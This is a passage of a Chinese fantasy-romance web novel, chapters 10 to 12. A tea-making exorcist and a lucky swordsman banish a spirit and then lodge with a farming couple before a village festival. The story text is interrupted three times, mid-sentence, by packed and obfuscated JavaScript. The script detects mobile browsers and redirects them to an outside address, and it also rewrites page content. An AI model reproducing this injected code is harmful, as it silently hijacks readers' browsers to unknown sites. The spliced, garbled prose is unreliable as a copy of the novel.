等陈二娃消散后,边镶红又念了一句,“心有灵,灵有心。”食指一弹,一道微弱的绿光进入了陈大娃眉心。 岩正山看着边镶红,她用茶叶超度了陈二娃,她姓边,边姓和岩姓一样少见,他好像听过,他刚想要出口问话,就发现他的手又被抓住了。 “嘤嘤嘤!”小灰驴大叫,奔跑了过来。追风跟在后面也嘶鸣了几声。 “小灰,姐姐终于忙完了,我们回去睡觉!”边镶红转过身去,要往前走,却被岩正山抓住了手。她不懂这人啥毛病,这么喜欢动手动脚。 “你真的姓边吗?” 边镶红顿住,她反手甩掉了岩正山的手,“哦,那你真的姓岩吗啊?” 10. 第 10 章 “我也不知道我应该姓什么?” 边镶红的脚步顿住,这倒是她没想到的,他不是自称第一命好运好的人吗?他也家破人亡了? 岩正山认真解释,“我爹是孤儿,在岩石边被捡到,我养祖父就叫岩大石,也寓意他能坚强生长。所以我也不确定我是不是应该姓岩。” 能直呼父亲其名的儿子,尊卑观念不那么强烈,估计是父子感情比较好,他们父子感情好,关她什么事!边镶红转过身来,脸上挂着笑,看着岩正山忽然一个右勾拳过去。 岩正山看着自己鼻尖的拳头,拳风打到了耳朵上,有点疼。他委屈,大喊,“你又干嘛?” 边镶红在岩正山的鼻子前前后后挪动拳头,拉扯着笑脸,“我不关心你到底姓不姓岩,但如果你再敢靠近我一步、再跟我说一句话,我的拳头一定会打在你的脸上。现在你给我麻溜地滚!” 岩正山后退一步,他看着边镶红的双眼,她是认真的,他就是想问清楚而已,她态度真的太气人了。他很想大声斥责她,她这人阴晴不定,还动不动对他呼来喝去,可是他想到她可能真的不确定她姓不姓边,她的家人都不在了。 “对不起,我的意思是我真不确定我祖上是否真的姓岩,我只是想确认你是不是我听说过那个边家人?” 边镶红收回了拳头,“你听过?”山南国这个地方她好像听过,她也是山南国人吗? “镶红,你会制茶对吗?”岩正山小心问道,她用茶叶在超度冤魂,她善用茶。 边镶红目光犀利,本来她听到岩正山喊她名字的时候有点不适应,想要打断他,可是他应该真的了解一些事实,“你还知道些什么?” 岩正山不确定地问道:“你听过云平边家茶吗?”边镶红摇头,她第一次听,岩正山猜测她应该完全不知道边家的事一无所知,除了名字和制茶天赋。 “边家祖辈以制茶为业,是山南国最负盛名也最神秘的茶户,到现在都没有人知道边家的本家到底在哪里,他们每年制茶后会卖给云平城一家茶馆,但十几年前开始真正的边家茶再也没有在市场上流通,现在号称边家茶的都是假造的。” 边镶红的脸色颓败了下来,因为边家人都被灭口了,所以不会再有边家茶流通于世。她应该先想尽办法烧了白荼才对,边镶红点了点头,“多谢告知!”她转过身去,她要去云平城,找到她的家人的遗骸,龙景为什么都不肯跟她交代一下她的家庭情况呢。 小灰似乎感知到了边镶红的情绪,安静地站着。 “我跟你一起去!”岩正山追了上来,站在边镶红面前,“镶红,我跟你一起去。我去过那里,我可以带路。” 边镶红皱眉,这人也太热情了,干嘛一直喊她名字,而且他怎么会猜中她要去云平城呢? “不用!你我萍水相逢,就此别过!”边镶红侧身走了过去,骑上了小灰,“走,我们回去!” 边镶红骑着小灰走了,岩正山还站在那里一动不动,追风在他身后不停顶他的后背,让他行动起来,可是他跟石头一样。 “可是她拒绝我的同行,追风。”岩正山胡乱伸手要牵头追风的头,却听到了一声很急促的驴叫,“嘤!”他立即转身,晨光已经划破黑暗了,所以他看到了百米之外的边镶红被一团黑影包围,他慌乱地大喊,“边镶红!”然后飞奔过去,追风也跟上。 “天九地九,金光养生,三魂永久,魄无丧倾。”金光大绽,但黑影又很快包围上来,边镶红已经试过了安神符驱散恶灵,但没有效果,这恶灵戾气深重,她又画了张安魂符,发现也无法销毁恶灵,它没有怨念,就是纯粹要她的血肉。这是冲着她来的,不知道后面还会遇到多少只肖想她血肉的恶灵和恶鬼。 “边镶红!”岩正山一路奔跑,跑进了黑影的包围。边镶红刚要生气发飙,他这个胆小鬼不知天高地厚,这样着急送死,就看到他周围的黑影不断消退,恶灵在避让岩正山。 边镶红想起岩正山说的,他是山南国第一命好运好的人,逢凶化吉是他的天赋。她立即起身从小灰背上飞下,抓住他的手按在他的剑柄上,“拔剑!” 岩正山虽不知边镶红的意图,但也听从指挥拔出来他的水月剑,边镶红又抓着他左手,水月剑尖轻轻划破他的中指指腹,剑尖一点红,他还没开始询问边镶红到底要做什么,边镶红已经绕到了他背后,紧紧抓这他的右手腕,在他的耳边轻声说道:“你的身体借我一用,由我指挥。” 很快,边镶红左手抱住了岩正山的腰,脚尖轻点飞上正北方向,先是凌空一劈,黑影的包围圈有点裂缝,岩正山的血有用,恶灵被激怒,正缩小包围圈,黑影更加浓重,从四面八方威迫而来。 岩正山第一次遇到这样的情景,他全身的汗毛立起,他努力睁开双眼直面那团黑夜,只是罡风吹着他有点呼吸困难。他有点发抖,虽然面前的黑影虽然看着平平无奇,但他仿佛听到了万鬼哀嚎,凄厉悲惨。 “别怕!”边镶红安慰道,立即换左手抓着岩正山的手腕,右手中指在剑身上开始画诛煞符,在恶灵包围绞杀过来的那一刹那她抓着岩正山的手,剑身刺向西北方,剑身上的血印诛煞符,化成利剑刺向黑影。 这就可以了吗?岩正山还在疑惑,边镶红用力地攥紧他的手腕,以剑为笔再次快速画诛煞符,“跟着我念!”她看侧头看着他,他连忙点头。 “青天白日,太上正气,镇守四方,消灾度厄。敕救等众,急急超生。” 诛煞符排山倒海般涌向四面八方,金光开始燃烧黑影,边镶红又举起岩正山的手,水月剑直指青天。此时天已大亮,晴空无云,边镶红觉得时机刚好,“太上清静,借我灵力!”她用尽全力朝黑影劈下,金光像烟花爆开,点亮了黑影。 恶灵消散了,边镶红带着岩正山落地,晨光照射在她的脸上,有点痒痒的,她长舒一口气,这一夜终于要过去了。 岩正山刚想让她放手,就发现他背后的热源消失了,他立即转身,差一点就没接住跌倒的边镶红,她双眼紧闭,眉头紧锁,脸色苍白。他连忙检查了一下她全身上下,没有外伤,他小心翼翼呼唤,“边镶红,你醒醒!你醒醒!”但边镶红一点反应也没有,他握着她的手,是冰凉的。他刚刚为什么没有发现。 小灰又嘤嘤叫了几声,岩正山抬头看它,它不断侧头,然后直接倒在地上装睡,“你是说她睡着了?”小灰站了起来,点了点头。 岩正山有点惊讶,又觉得很正常,这一夜她都在忙着超度鬼魂,她太累了。他侧耳去听边镶红的呼吸声,她在轻轻打鼾。他笑了,她竟然睡的这样香。但是在荒郊野岭睡觉总归不好,等会太阳升起来了,这里没有树木遮挡也会热。他抬头看了看前方,不知道前面有没有村落? “追风!”岩正山轻唤一声,追风扬起蹄子,“安静,你去看看前面有没有村子可以落脚的?”追风闻言看了一眼小灰,掉头疾驰了起来。 午时一刻,边镶红睁开眼睛,看到了一顶有点泛黄的蚊帐,她一个鲤鱼打挺坐了起来,这里不是她的房间,也不是客栈的房间。 岩正山刚好推门进来,他以为边镶红还没醒就没敲门,这会四目相对有点尴尬,他重新关上门,敲了敲,“边镶红,你醒了吗?我能进来吗?” “滚进来!”边镶红下床,俯身穿鞋子。 岩正山听到“滚”字很不开心,本想大力推门表示他的不满,但这门是别人家的,他便轻轻开门走了进去。 “你不可以老是对我说滚,不礼貌,不尊重!” 边镶红抬头看了一眼岩正山,“哦”了一声,表示认可,岩正山有一点意外,她睡醒了是这样好说话吗?还是说没有和她说过不能那样说话。她穿好了鞋子,走了下来,问道;“这是哪里?我肚子饿了,有吃的吗?”她昨夜吃素,又干了好多活,早上又在睡觉,快要饿死了。 “青云镇的稻香村,我就是来叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534555|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你起床去吃午饭的!”岩正山看到边镶红立马要往外走,看出来她是真饿了。“但是你起床不梳头吗?不洗漱吗?” 边镶红停下,她伸手摸了摸自己的头发,好像有点凌乱。她不想梳头,梳头好麻烦,这里没有毛峰给她梳头了。她转身看到了桌上有梳子和镜子,走过去拆掉辫子,拉扯了好久后,终于梳通头发,在袖子里找出一个木簪束发。然后又喝了一口水漱口,走出门外吐掉,然后闻着香味,去找厨房。 岩正山目睹全程,无活可说,边镶红活得好粗糙。等他到了吃饭的地方,边镶红看起来已经和主人家混熟了,她看起来乖巧讨喜,还已经吃上饭了。 边镶红捧着饭碗,夸赞道:“大娘煮饭的手艺真的好好,这米饭是我吃过最香甜的米饭,怎么会有这样好吃的米饭,怪不得我们村叫稻香村,真的太香甜了。” 胡金珠笑着又给边镶红盛了一碗青菜汤,“那是,我们这的米是贡米,整个山南国最香甜好吃的稻谷。我们世子最喜欢吃的就是这云香米,今年丰收,每家每户都有很多余粮,小边你尽管吃,管够的。小岩快来,你早上也没赶上饭点,一定也饿坏了,快坐下一起吃。” 岩正山道了谢,坐了下来,端起碗来,这云香米看起来的确可口。“大娘,大叔不一起吃吗?” “你大叔还没回来,我们先吃,没关系,我给他留好,你们尽管吃。” “谢谢大娘,我不客气啦!”边镶红从米饭里抬头道了一声谢,然后继续大吃特吃。 胡金珠笑得很慈祥,她儿子每次吃饭也这样香,这几天他带着妻女回去探望岳家,有点冷情,今天小边和小岩突然到访,但也热闹的很,她就喜欢这样的热闹。 一刻钟后,边镶红吃饱了,她摸了摸肚子,靠在椅背上,半眯着眼享受微风吹过,心旷神怡。但一睁眼就看到岩正山正看着她,想起他今早的表现,还算满意。 胡金珠也吃好了,就要收拾饭碗,边镶红立马出声:“大娘,您坐着,让小岩收拾,他可会洗碗了。”她笑着看着岩正山。 岩正山瞪大双眼,他什么时候会洗碗,他怎么不知道。胡大娘看了一眼小岩,惊喜地说道:“看不出来小岩这么贤惠,是个好孩子,我儿子也是这样,吃完饭就抢着洗碗。但是小岩是客人,哪有让客人洗碗的!” 岩正山马上站了起来,摇摇头,“大娘,没关系,我来洗碗就好了,您不用客气!我最擅长洗碗了。”他说完等了边镶红一眼,她笑着点头,表示赞许。 胡金珠看着岩正山在厨房忙碌的背影,夸了一句,“小边找了个好人,过日子,还是找好人一起过好。” 边镶红没有听懂里面的深意,但想了想岩正山的确是个好人,她点了点头,“是,大娘说得对。” 胡金珠笑了,“那小边你不去帮忙吗,一个人洗碗有点无聊,有人陪着就有话聊了。” 边镶红的确有话要说,果断应下,“大娘说得对!”她起身走进了厨房,走到岩正山旁边,发现他也不会洗碗,这人干嘛逞强。“你干嘛用那么多水洗一只碗!” 岩正山被边镶红忽然出现吓一跳,碗从手中滑落,还好他反应快伸脚一踢,接住了。他随即转过身去抱怨,“不用这么多水能洗干净吗?你会你来洗啊,明明是自己不想洗碗,只能我来洗,还在这里指手画脚。” 边镶红闻言有点震惊,他这是在为她考虑?她看着那只碗,估计岩正山在家里也没洗过,“那你好好洗,我是想跟你说,我想请你带我去云平城!” 岩正山手上又一滑,她说“请”,太客气导致他有点不相信了。 边镶红立即伸腿踢了起来,顺利接住,可不能摔碎了人家的碗。她拿着头放进水盆里,指使道:“别偷懒,做事要有始有终,快点洗!洗完我们就出发!” “好好!”岩正山转过身去干劲十足,边镶红觉得这人真的有点太过古道心肠了,“但是,我有两个条件,你得答应!” 11. 第 11 章 岩正山决定凶狠地瞪边镶红一眼,他出力当向导,还要答应她的要求,吃力不讨好!他气鼓鼓地问道:“什么条件?” “第一,你的身体我有绝对的使用权,像早上那样,在某些特定时刻你得让渡出你身体的使用权,完全听我指挥。”边镶红侧着头看着岩正山,他睁大双眼看着她,不服气很想据理力争的样子,然后他点头应下了。 岩正山不难猜出边镶红的意图,早上她用的他的血和身体在逼退恶鬼,是用在正途上,他可以接受,但他还是想确认一点,“你同意我和你一起出云平城,是因为我天生好命,可以帮你克制恶鬼吗?” 边镶红毫不犹豫点了点头,大方承认:“对,我发现你那命格还真的有点用,你真的命好运好!” 岩正山看着神色坦诚的边镶红,心里莫名地叹了一口气,“那第二个呢?” “第二个,就是你不许随意触碰我,再敢抓我的手,我真的会把你的手砍掉!” 这一点岩正山忍不了,“明明是你先牵我的手,而且我哪里是随意,明明都是有情况,我事权从急,才抓了你的手!还有早上你不是也一直握着我的手,我说什么了!” “那不一样,反正你不可以随意抓我的手!”边镶红斩钉截铁,岩正山放下了碗筷,双手握拳,掌心朝向自己的脸,咬牙切齿,“我岩正山的手,就是烂掉也不会主动去牵你的手!” “第三个,”边镶红刚开口就被岩正山打断,“还有第三个?你真的不要太过分,我是你的仆人吗?你竟然这样使唤我、要求我!” “第三个我的吃喝住行你得负责好,绫罗绸缎、山珍海味、宝马香车我不需要,但饭菜要色香味俱全、荤素搭配合理,住的房间床铺要软、被子要蓬松,还有你还要帮我及时收集干净的雨水,有好的山泉水也可以,小灰也要好好喂养,它不吃干草,只吃蔬果。我听大娘说了,你照顾小灰照顾的挺好的。” 岩正山一下子语塞,他看着边镶红,不知道形容她是坦率天真到无耻,还是无耻得坦坦荡荡,真把他当仆人了。他们家的下人也不会这样身兼数职,她竟然还要他一直给她喂驴,他的追风在外面也都是自己照顾自己,她的驴竟然这样娇贵。他想起刚刚她梳头的生疏模样,出言嘲讽道:“那还要不要我每天早上为你梳头,打水洗漱,晚上还给你准备洗脚水啊!” 边镶红思考了一下,点了点头,“如果你要,我就勉为其难接受你的服侍!”山下的生活需要一日三餐,长途跋涉、舟车劳顿的真的很累,她现在才发现毛峰的重要性,如果有人能像毛峰那样事无巨细,那的确挺好的的。 她又看了一眼岩正山,她早上一觉无梦,睡的很安稳,估计也是因为他的命格驱散了她身边的噩梦。她越发觉得他也是个可造之材,拍了拍岩正山的肩膀,“我非常看好你的能力!” 岩正山被边镶红着架势彻底整的不知所措了,她真的不懂看懂他满脸怒气吗?她怎么说得出这样的话,“勉为其难?服侍?看好我?”他好想踹边镶红几脚,她无耻!他闭上双眼深吸一口气,慢慢吐了出去,不能生气,不能和她这个山上来的野蛮女子计较。 边镶红看了一眼岩正山,怎么神神叨叨的,她后退一步,伸手指了指水盆,“好好洗碗,不许偷懒!”说完便要去院子里乘凉。 “好的!谁让我剑法比你强呢,强者多劳这个道理我还是懂得!谁让我在练剑上天赋异禀,天下就没有剑法造诣比我还强的人,强者多干点事,也是磨练了!” 边镶红脚步顿住,她转身看向岩正山笑得异常灿烂的脸庞,“我们都没分出胜负,你怎么就天下第一了?井底之蛙!你师傅知道你天天在外面吹牛吗?”她前进一步,离岩正山很近,她双眼紧紧盯着他的双眼,“你如果不能接受我的条件,那就不要勉强,我不喜欢强人所难。我一个人也可以去云平城!你不用这样幼稚地刺激我,我承认你的确有天赋,但你一定不是最强的那一个。” 岩正山闻言不知为何,他不敢直视边镶红的双眼,他节节败退了,“我不是不想跟你去,但的确有点不能接受你第三个条件,我从小到大都没有这样被人使唤,你得给我时间习惯一下,还有我像仆人一样由你使唤还不能抱怨啦!最后一殿,我没有师傅,我师傅没有教我要谦虚!” 边镶红这会到有点震惊了,怪不得他剑招和剑意都很随性,能快速见招拆招,但这天赋有点可怕了。 “那你怎么会练剑的?” “我小时候在山上捡了一本剑谱,我看着里面的招式练的,依样画葫芦练的。我长大一点也想拜师,可是没有门派愿意收我为徒。” “为什么?” “因为各门派的掌门都打不过我!他们的剑谱一点点比不上我山上捡的那本。” 边镶红想了想,还是有可能的,虽然不是很了解山下的各门各派,但肯定比不上三步山神山上的三步宗啊!“那是你没有遇到我师傅,不然你知道了什么叫‘山外有山’了。不过你那本剑谱什么来头啊,这么厉害!” “厉害!”岩正山说了名字,但明显边镶红没听懂,“它就叫厉害剑法,我学会后,它就不见了!我尝试描摹出来,画不出来,我也不记得具体的招式,但是和人对战时,我就能顺其自然使出无数剑招化解对方的攻击,算是人剑合一了。所以无论你怎么变换你的十招剑法,我都能看出来。” “哈哈!”边镶红冷笑两声,暗骂天道不公,“那你好厉害!现在先好好洗碗!”她说完转身就走。 岩正山看着她的背影,想象她师傅应该不是仙风道骨的老者,估计是个老顽童,才会教出边镶红这样的徒弟。他很快就会知道他的猜测错的很离谱了。等他收拾完回来,看到边镶红和胡大娘有说有笑在嗑瓜子聊天。 “那可不,男人就是要训练,我老头子刚成婚那会十指不沾阳春水,现在洗碗、扫地、洗衣服全包了,要不是他煮菜实在没天分,就全能了。我儿子从小跟着他爹,有样学样,还会做饭,我儿媳妇可满意了。你们多住一晚,他们傍晚前肯定回来,叫他给你们露一手,刚好晚上村里有酬神的社戏,可热闹可好看了,你们也去热闹热闹!” “酬神?社戏?”这是边镶红第一次听说,岩正山接过话头,“就是为了答谢土地神保佑丰收的庆贺活动,也向土地神祈求继续风调雨顺五谷丰登的大型祭祀活动,社戏是用来娱乐土地神的表演。大娘,这边社戏以傩舞为主是吗?” “小岩懂得真多,我们村还有隔壁好几个村社戏就是跳傩舞,你们大叔就是去排练了,他啊,跳了一辈子的傩舞。这不,跳起来都不饿了,也不记得要回家吃饭了。” 边镶红没见过,她看了看胡金珠,问道:“大娘,傩舞真的好看吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534556|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >胡金珠拍着胸脯保证,“好看!可好看啦!敲锣打鼓,一群人带着大大的面具围着火堆跳舞,还要放爆竹,跟过年一样热闹。” 岩正山看着边镶红,她心动了,他开口问道:“那样会不会太打扰到大娘和大叔了?” “不会!就是家里只有今早小边睡的那间空房了,你们两可以睡同一张床吗?” “不可以!”两人异口同声,互相瞪了彼此一眼。 边镶红没有看到岩正山有点发红的脸,但胡金珠见到了,她哈哈大笑,“开玩笑,开玩笑!大娘当然知道未婚男女不可以睡同一张床,还有另一空房,就是有点脏乱,当储物间了,得辛苦小岩去整理了。” “那可以!”边镶红在胡金珠的感染也也笑了起来,她有点期待晚上的社戏,山下的生活比山上丰富多了。 岩正山看着边镶红的笑脸,这是她的笑容是真心实意的,她觉得开心。他忽然觉得心跳有点快,脸上有点烧,有一种很奇怪的感觉。 边镶红发现岩正山还在看她,立马指挥道:“小岩啊,还不去收拾房间!”她指了指她房间旁的耳房,问胡金珠道:“大娘,是那间对不对?” 胡金珠点点头,笑意不减,“小岩,去收拾一下,等会还能睡个午觉呢!” 岩正山已经撇开眼不去看边镶红了,也不敢看胡金珠,直直起身,“我这就去!” 看着他的背影,胡金珠笑出声来,“小岩是个好苗子!小边啊,好好调教,他一定也会十项全能的!” 边镶红点点头,目前看来岩正山的确挺能干的,干活也不会推三阻四的,“大娘说得对,我刚刚也和他说我非常看好他的能力。” 胡金珠看着边镶红,她还没开窍,但是没关系,年轻人,有的是时间开窍。她最喜欢看年轻男女在一起谈恋爱了。 “大娘,这天地下神明多吗?大娘有没有听过三步山神?”边镶红觉得胡金珠到这个年纪应该见多识广,或者民间应该会有很多传说的。 “三步山神?”胡金珠显然没听过,她摇了摇头,“我们也供奉山神,但不知道小边你说的三步山神是何方神明。” 边镶红有点失望,但又换了一种问法,“大娘,你们这里的山神是保一方平安的是吗?”胡金珠点头,她继续问道:“那专职超度冤魂的神明是哪一位?或者说编写凡人命格的是哪一位神明?” 胡金珠想了想,她们好像没有听过这样的神明,她反问道:“每位神明不都有超度冤魂的能力吗?我们的命格是由神明编撰的吗?不是上天的旨意吗?” 好像是这个理,边镶红有点泄气,三步山神到底是何方神明呢?她找的能改写自己的命运吗? “但是,”胡金珠的声音带着魔力,边镶红立马抬头,“既然要专职超度冤魂,那得守在黄泉啊,人投胎转世的命运应该也从那里开始。那我觉得三步山神应该在黄泉。” 黄泉?也是,鬼魂下了黄泉,就回到十方地狱接受审判。边镶红看着胡大娘金珠,激动地抱住她,“大娘,您说的真有道理,您真是我的福星!” 胡金珠被夸很开心,对边镶红的亲近也不觉得超过,她摸了摸她的头发,“我这么厉害吗?但是小边,人不可以轻易叩问神明尊驾的!” 边镶红坐正了身体,脸色庄严,“大娘,我不仅要叩问神明尊驾,也要叩问神明的能力。” 12. 第 12 章 胡金珠立马呸呸呸,“童言无忌!童言无忌!”她的眼神里满是担忧,“孩子,不可以这样的,不可以对神明不敬!也不要怀疑神的力量,神明自然是无时无刻不在庇护众生。” 边镶红很感激胡金珠的关怀,如果华婆婆还活着,她也会这样摸着她的头,满脸忧愁,害怕她会受伤。她点头应和:“大娘,对,童言无忌,我什么都没说!”她也想敬畏神明,只可惜神从来都不会站在她这一边。 小灰忽然叫了一声,边镶红感觉这声音有点问题,她立即起身,“大娘,我那驴可能一早上没见我,有点想我了,我去看看。” 胡金珠点点头,“去吧,刚好,我也要去叫你大叔回来吃饭了,这老头子真的欠骂,竟然还得我去喊他,这么热的天,还不回来休息!” 边镶红看着胡大娘的背影出了院子之后,才去找小灰,它和追风目前都住在牛棚了,牛棚看起来挺干净的,大黄牛乖巧地站在角落。小灰又“嘤嘤”叫了两声,她摸了摸小灰的头,然后追风忽然出现,从小灰的屁股后面。边镶红有点震惊,这千里马跟在小灰屁股后面干啥呢?她好像听过男的紧紧挨着男的故事,这千里马喜欢小灰吗? “小灰,它有没有把你怎么样?”边镶红四处观望,找到一根木棍,等小灰回答完,就打追风一顿,就算是动物也不能勉强对方。 “嘤嘤嘤!”小灰叫了三声,不是因为追风,边镶红仔细一看,追风马脸上又两个印子,是小灰踹的,这匹流氓马,应该多踹几脚。 小灰又叫了一声,边镶红大概明白,有的鬼魂在靠近,那鬼气息不明,判断不出是冤魂还是恶灵,又或是更可怕的存在。所以小灰有点烦躁,没关系,到时候水来土掩,刚好在测验一下岩正山的命格到底有多好,能逢凶化吉到什么地步! 但是现在边镶红困了,她想要午休了,晚上要去看社戏呢,没时间睡觉。她又拍了拍小灰的头,“没事的,姐姐可厉害了呢!你先休息!”她说完侧头看着追风,“你这匹小流氓马给我客气一点,不然把你骟了!”她还特地用手指比划一下,隔开皮肉,取出来…… 追风听懂了看懂了,觉得身体的某个部位有点疼,它立即一阵嘶鸣,“安静!”边镶红大声喝住,追风立即住嘴,低声嘤嘤。 “嗯?”边镶红发声,一个音节追风立马噤声。 边镶红很满意,转身先去找岩正山,就发现岩正山站在她后面,一脸惊恐,大喊:“你威胁我的追风!边镶红,你还是不是女孩子!” 岩正山已经发现从昨夜开始,他从温润如玉的翩翩公子,变成一个脾气暴躁,动不动就大声嚷嚷的粗鲁之人了。现在边镶红恐吓他的马,就是在拐着弯骂他下流!天啊,边镶红仿佛是他克星,现在的岩正山还是岩正山吗? 边镶红看着岩正山,他竟然满脸不忿,“你的马骚扰我的驴,我还不能教训它啦!还有,什么叫是不是女孩子,我不是难道你是?”她点了点头,岩正山长得不错,扮女装应该也好看,她换了声调,温柔地说道:“岩姐姐?只可惜我没有漂亮的小裙子借你穿!” “啊啊啊!”岩正山听着边镶红做作的声音,发出了尖锐的惊呼声,边镶红真的比鬼可怕,他想伸手指着边镶红表达他的愤慨,但忽然害怕他伸出去的手指会不会被她咬住。完蛋,面对边镶红,岩正山知道自己没招了。 真不经逗,情绪化也太严重了,边镶红心里吐槽,但还是要好好对待岩正山的,他毕竟有用武之地。她走近,“小岩啊,我刚想去找你,想看看你房间收拾的怎么样了?看你这样应该收拾好了,那就回去好好休息,晚上我们一起去看社戏。” “你不许喊我小岩!我比你大。”岩正山平复下来了,立即提出要求。边镶红立即摇头,“可是我不想喊你正山,好奇怪啊!” “那你就连名带姓喊我,因为我也会连名带姓喊你!” 边镶红看着岩正山有点咬牙切齿的模样,点了点头,她刚想说可以,就听到胡金珠和刘水木的声音,他们在吵架。 “你这个糟老头子,想干嘛!跳了一整个上午,还想着跳一整天十二个时辰啊!以前也没看过你积极到这种程度,今年怎么这样反常!你还敢瞪我!你真的欠打!”胡金珠抄起门边的扫把打了几下刘水木,但是刘水木夺过了扫把扔掉了。 “你竟然把扫把扔掉了!刘水木,你疯啦!”胡金珠惊讶不已,今天刘水木像中邪了一样,顶着大太阳在土地神庙前面跳了一早上,水也不喝一口,一刻也不停歇,要不是她强拉着回来,他现在还在那里跳。从前她拿扫把打他几下,他也不计较,现在他竟然拿从她手上夺了过去还扔掉。 刘水木没有说话,而是恶狠狠地瞪着胡金珠。胡金珠第一次看到刘水木这样的眼神,她就要冲上去理。 “大娘!”边镶红喊了一声,已经走到了胡金珠前面,握住她的手腕,和刘水木拉开了距离,“大娘消消气,大叔他暑气入身,有点不舒服而已!小岩,快扶大叔坐下休息!”她看向岩正山,示意他去扶着刘水木。 岩正山看出了边镶红眼神里的暗示,刘水木可能有点不正常,他立即快步走过去抓着他的手,“大叔,我们去那边坐着,喝点水!”当他接触到刘水木的刹那,岩正山能感觉有一股气息从他的身体里逸散出去,刘水木脸色苍白立即瘫软了下来,他及时伸手扶住了他的身体,然后看向了边镶红,边镶红点了点头。 “老木头!”胡金珠焦急地跑过去,扶住刘水木的另一边身体。两人将刘水木搀扶到了房间里坐下,边镶红倒了一杯水,放入了一颗茶叶,递给胡金珠,“大娘,让大叔喝下,解暑宁神。” 胡金珠没有犹豫,刘水木还有点意识,咕噜几口喝完了,脸色逐渐有了血色。胡金珠开始骂他,“你这个犟种,今天中邪啦!一把年纪,着急把自己送走对吧!还敢凶我!真的想走在我前面是吧!” 刘水木连忙摇头,他紧紧拉着胡金珠的手,“金子,我没有凶你,我怎么会凶你呢!但我今天也不知道怎么了,就是想要一直跳傩舞,要跳给土地神看。” 胡金珠皱眉,“这青天白日的,你在土地庙前面还会中邪?” 刘水木还是茫然摇头,但边镶红开口定调,“大娘,大叔就是中了暑气有点昏昏沉沉,神庙面前怎么会中邪呢!” 岩正山对边镶红否定邪祟存在的做法有点疑惑,但大致也能猜到原因,如果说出实话,神的权威就会遭到质疑,他们不会害怕神无法镇守一方保平安,会造成恐慌,尤其是在晚上要举行酬神庆典的情况下。但土地神不管这个吗?还是土地神真的无法镇压? “也是,照理说都要入秋了,应该一天比一天凉爽才对,但今天真的比前面几天热多了。”胡金珠又摸了摸刘水木的额头,没有发烧的迹象,“老木头,你现在感觉怎么样?” “金子,我没事了,就是肚子饿了!”刘水木脸上带着笑意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16534557|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望着胡金珠。 胡金珠哼了一声,“知道饿还不早点回家!饿你一顿好了,还没七老八老就记性不好啦?我去给你熬点粥,你继续饿着!” 边镶红又对岩正山使了个眼色,岩正山瞪了她一眼,但还是服从了她的安排,“大娘,我去给你打下手!” 胡金珠应下了,两人去了厨房。 “大叔,您要不要去躺会,我扶您去躺椅那边躺会?”边镶红指了指窗户下的躺椅,刚好那里没有阳光了。 刘水木抬头看了一眼边镶红,“小边啊,你醒啦,我没事,不用!我在这里坐着挺好的,不难受了!你呢?早上小岩背着你来的时候,你脸色也不太好,你也中暑啦?” 边镶红闻言有点意外,不是小灰驮她过来的,也对,她睡着了一会雷打不醒、地动也不醒,直接把她放马背上运过来也可以啊,这岩正山这么讲究,还怕她颠簸。“大叔,我已经好了,我就是昨天一整天都在赶路,没好好吃饭,身体受不了,刚刚我吃了两碗米饭呢!大娘煮饭的手艺太好了,大叔种的稻谷也好吃,能在您家吃饭真的太幸福、太感恩了!” 刘水木笑了,他们自然能察觉边镶红和岩正山非凡人,刚刚那杯水也是,她无恶意、行事低调、态度诚恳,这样的人难得。 “那小边晚上也要再吃两碗饭,然后看看社戏消食,夜里再睡个好觉,那就再好不过了。人活着,吃饱了睡足了最重要!” 和胡大娘一样,刘大叔是个慈祥而善良的人,边镶红点头,“要的要的!” 厨房里,岩正山又添了一把柴火,水还没开,胡金珠把中午留的米饭压散一点,等会直接用它煮成稀饭,她低头看了一眼岩正山,“小岩啊,你和小边家里都是做什么的呀?” 岩正山被这个问题问住了,他抬头看着胡金珠,知道大概是边镶红那颗茶叶引起的好奇,不然也不会现在才问。他想了想,回答:“大娘,我们两家都是做茶叶生意的。” “茶叶?”原来是茶叶,但胡金珠还是有点疑惑,“小边刚刚问了我一个问题,三步山神在哪里?她似乎要去叩问神明?” 边镶红不是三步山下来的吗?三步山神不在三步山吗?岩正山不解,又听胡金珠说话,“小岩,你要照顾好小边。”他抬头望着胡金珠,“大娘能感觉出,她要走一条很难走的路。” 岩正山在水汽和火光的熏陶下,鬼使神差地点了点头。 “金子,粥熬好了吗?”刘水木走了进来,他看起来已经完全恢复过来了。“小岩,我来烧火,我最擅长烧火了!” 胡金珠望了一眼刘水木,“天上掉馅饼也要时间,粥哪有那么快好,你不坐着来厨房再被热气熏倒,看我还会不会给你熬粥!” “我没事啦,金子,真的!”刘水木拍胸脯保证,“那杯水喝下去浑身都很舒服!” 